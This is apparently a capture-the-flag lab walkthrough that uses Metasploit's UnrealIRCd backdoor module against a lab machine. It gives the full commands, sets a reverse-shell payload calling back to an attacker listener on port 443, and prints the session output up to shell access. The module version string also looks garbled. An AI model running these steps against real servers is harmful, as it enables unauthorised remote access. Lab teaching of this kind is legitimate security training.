Gaining a Foothold
By now you should have found an exploit for UnrealIRCd that abuses a backdoor left in the software. If you didn't find it, don't worry, it's a learning curve.
The good part about the exploit we are going to use is that there's a Metasploit module for it. This makes exploitation much easier than modifying exploit scripts. Let's fire up Metasploit first.
msfconsole
Then, search for the module we need.
search unrealircd
Attacker Machine
msf > search unrealircd
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/irc/unreal_ircd_5161_backdoor 2010-06-12 excellent No UnrealIRCD 5.1.6.1 Backdoor Command Execution
From this list, we can use the suggested exploit against our target.
use 0
First, we need to see what we must configure for this exploit to run.
show options
Attacker Machine
msf exploit(unix/irc/unreal_ircd_5161_backdoor) > show options
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client addres
s
CPORT no The local client port
Proxies no A proxy chain of format
type:host:port[,type:h
ost:port][...]. Support
ed proxies: sapni, sock
s4, socks5, http, socks
5h
RHOSTS yes The target host(s), see
https://docs.metasploi
t.com/docs/using-metasp
loit/basics/using-metas
ploit.html
RPORT 8889 yes The target port (TCP)
As we can see, the only required parameter that is not yet set is RHOSTS (marked by the Required column), so we can set it to the lab machine's IP address.
set RHOSTS MACHINE_IP
We still need a payload for this exploit to run. We can list available payloads with show payloads.
Example Terminal
msf exploit(unix/irc/unreal_ircd_5161_backdoor) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/adduser . normal No Add user with useradd
1 payload/cmd/unix/bind_perl . normal No Unix Command Shell, Bind TCP (via Perl)
2 payload/cmd/unix/bind_perl_ipv6 . normal No Unix Command Shell, Bind TCP (via perl) IPv6
3 payload/cmd/unix/bind_ruby . normal No Unix Command Shell, Bind TCP (via Ruby)
4 payload/cmd/unix/bind_ruby_ipv6 . normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
5 payload/cmd/unix/generic . normal No Unix Command, Generic Command Execution
6 payload/cmd/unix/reverse . normal No Unix Command Shell, Double Reverse TCP (telnet)
7 payload/cmd/unix/reverse_bash_telnet_ssl . normal No Unix Command Shell, Reverse TCP SSL (telnet)
8 payload/cmd/unix/reverse_perl . normal No Unix Command Shell, Reverse TCP (via Perl)
9 payload/cmd/unix/reverse_perl_ssl . normal No Unix Command Shell, Reverse TCP SSL (via perl)
10 payload/cmd/unix/reverse_ruby . normal No Unix Command Shell, Reverse TCP (via Ruby)
11 payload/cmd/unix/reverse_ruby_ssl . normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
12 payload/cmd/unix/reverse_ssl_double_telnet . normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
Since we don't know much about our target or what software it has installed, the safest course is to use a Unix reverse generic payload.
set payload cmd/unix/reverse
Now, if we run show options again, we'll see that LHOST and LPORT are required for this payload.
set LHOST CONNECTION_IP
set LPORT 443
Now that everything is set, we can launch our attack against the lab machine using the exploit command.
Attacker Machine
msf exploit(unix/irc/unreal_ircd_5161_backdoor) > exploit
[*] Started reverse TCP double handler on 10.82.115.225:443
[*] 10.82.184.186:8889 - Connected to 10.82.184.186:8889...
:irc.pentest-target.thm NOTICE AUTH :*** Looking up your hostname...
[*] 10.82.184.186:8889 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo IpKbSZnM96KvbLgV;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "IpKbSZnM96KvbLgV\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.82.115.225:443 -> 10.82.184.186:53836) at 2026-03-17 07:11:47 +0000
whoami
webmaster
Once the exploit completes, you can read the flag from /home/webmaster/flag.txt.
Note: When you first catch a reverse shell, it's typically a "dumb" shell without full terminal features — it lacks job control, tab completion, and importantly, commands like su or sudo won't work because they require an interactive TTY to securely read passwords. Upgrading to a full TTY transforms your basic reverse shell into a proper interactive terminal session, which is necessary because commands like su and sudo require a real terminal (TTY) to safely prompt for and read password input. In this room, this is not required, as we will see later.